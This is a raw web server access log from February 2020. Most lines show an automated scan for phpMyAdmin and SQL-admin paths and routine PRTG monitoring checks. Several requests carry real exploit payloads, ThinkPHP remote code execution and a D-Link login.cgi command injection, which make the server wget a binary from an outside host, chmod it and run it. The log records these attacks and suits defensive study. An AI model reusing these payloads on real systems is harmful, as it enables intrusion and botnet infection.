195.9.141.99 - - [25/Feb/2020:17:55:16 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:16 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:16 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:16 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:16 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:16 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:16 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:16 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:16 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:16 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:16 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:16 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:16 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:16 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:16 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:17 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:17 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:17 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:17 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:17 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:17 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:17 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:17 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:17 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:17 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:17 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:17 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:17 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:17 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:17 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:17 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:17 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:17 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:17 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:18 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:18 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:18 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:18 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:18 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:18 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:18 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:18 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:18 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:18 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:18 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:18 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:18 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:18 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:18 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:18 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:18 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:18 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:18 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:19 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:19 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:19 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:19 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:19 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:19 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:19 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:19 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:19 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:19 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:19 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:19 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:19 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:20 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:20 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:20 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:20 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:20 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:20 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:21 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:21 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:21 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:22 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:22 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:22 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:22 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
212.91.246.72 - - [25/Feb/2020:17:55:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:56:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:57:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:58:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:59:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:00:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:03:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.155.248.3 - - [25/Feb/2020:18:04:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.203.6.61 - - [25/Feb/2020:18:04:04 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [25/Feb/2020:18:04:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:05:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:06:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:08:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:09:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:10:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:12:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.42.129.48 - - [25/Feb/2020:18:13:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:18:13:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:14:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.135.116.228 - - [25/Feb/2020:18:16:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [25/Feb/2020:18:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [25/Feb/2020:18:17:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [25/Feb/2020:18:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:20:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.141.243.57 - - [25/Feb/2020:18:21:07 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [25/Feb/2020:18:21:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.11.68.208 - - [25/Feb/2020:18:22:21 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:18:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.220.228.43 - - [25/Feb/2020:18:23:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:18:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.41.208.178 - - [25/Feb/2020:18:25:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [25/Feb/2020:18:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:26:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.103.201.26 - - [25/Feb/2020:18:26:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [25/Feb/2020:18:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:29:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
